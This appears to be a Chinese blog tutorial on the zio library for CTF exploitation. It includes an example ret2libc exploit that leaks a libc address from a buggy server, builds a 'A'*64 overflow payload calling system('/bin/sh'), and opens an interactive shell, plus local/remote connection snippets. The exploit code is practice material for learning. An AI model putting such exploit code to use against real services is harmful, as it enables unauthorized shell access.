CTF中的EXP编写技巧 zio库的使用
2024-10-19 18:21:34
zio库没有提供文档
这个是官方给出的一个例子程序
from zio import *
io = zio('./buggy-server')
# io = zio((pwn.server, 1337)) for i in xrange(1337):
io.writeline('add ' + str(i))
io.read_until('>>') io.write("add TFpdp1gL4Qu4aVCHUF6AY5Gs7WKCoTYzPv49QSa\ninfo " + "A" * 49 + "\nshow\n")
io.read_until('A' * 49)
libc_base = l32(io.read(4)) - 0x1a9960
libc_system = libc_base + 0x3ea70
libc_binsh = libc_base + 0x15fcbf
payload = 'A' * 64 + l32(libc_system) + 'JJJJ' + l32(libc_binsh)
io.write('info ' + payload + "\nshow\nexit\n")
io.read_until(">>")
# We've got a shell;-)
io.interact()
可以做本地和远程的切换
from zio import * if you_are_debugging_local_server_binary:
io = zio('./buggy-server') # used for local pwning development
elif you_are_pwning_remote_server:
io = zio(('1.2.3.4', 1337)) # used to exploit remote service io.write(your_awesome_ropchain_or_shellcode)
# hey, we got an interactive shell!
io.interact()
总结一下
zio (('127.0.0.1',3389), timeout = 9999
)
连接到ip的端口
zio('./pwn1') 加载本地文件
writeline('abc') 发送字符串
write(‘abc') 发送字符串
read_until('hello') 直到收到字符串
read(4) 接收
l32() 4byte
l64() 8byte
interact()与shell交互
最新文章
- 【腾讯Bugly干货分享】JSPatch 成长之路
- sqlServer下展示某库中所有的表
- Git学习笔记(6)——Bug和Feature分支
- setTimeout()与setInterval()——走马灯效果
- iterator and iterable
- nginx json 格式输出
- SQL SERVER 服务启动后停止,某些服务由其它服务或程序使用时将自动停止
- ①创建项目testpackage ②在pack2.B中添加方法f ③在类A中添加如下三个成员变量:int型的私有变量i float型的变量f double型的公有变量d 在pack1.B的main方法中为对象a的成员变量f和d分别赋值为2和3 在pack2.C的main方法中为对象a的成员变量d赋值为3
- kvo-观察者-iOS
- jQuery无缝循环开源多元素动画轮播jquery.slides插件
- Install-User.ps1
- 大数据时代的精准数据挖掘——使用R语言
- sql连接错误(Microsoft SQL Server,错误:2)
- yum执行时Another app is currently holding the yum lock; waiting for it to exit... The other application is: yum
- 衡量android开发者水平的面试问题-android学习之旅(91)
- laravel 【error】MethodNotAllowedHttpException No message
- C#调用Interrop.excel导出Excel文件失败解决方案
- UVALive - 7147 (数学)
- Java 基础功底
- CentOS7部署Nginx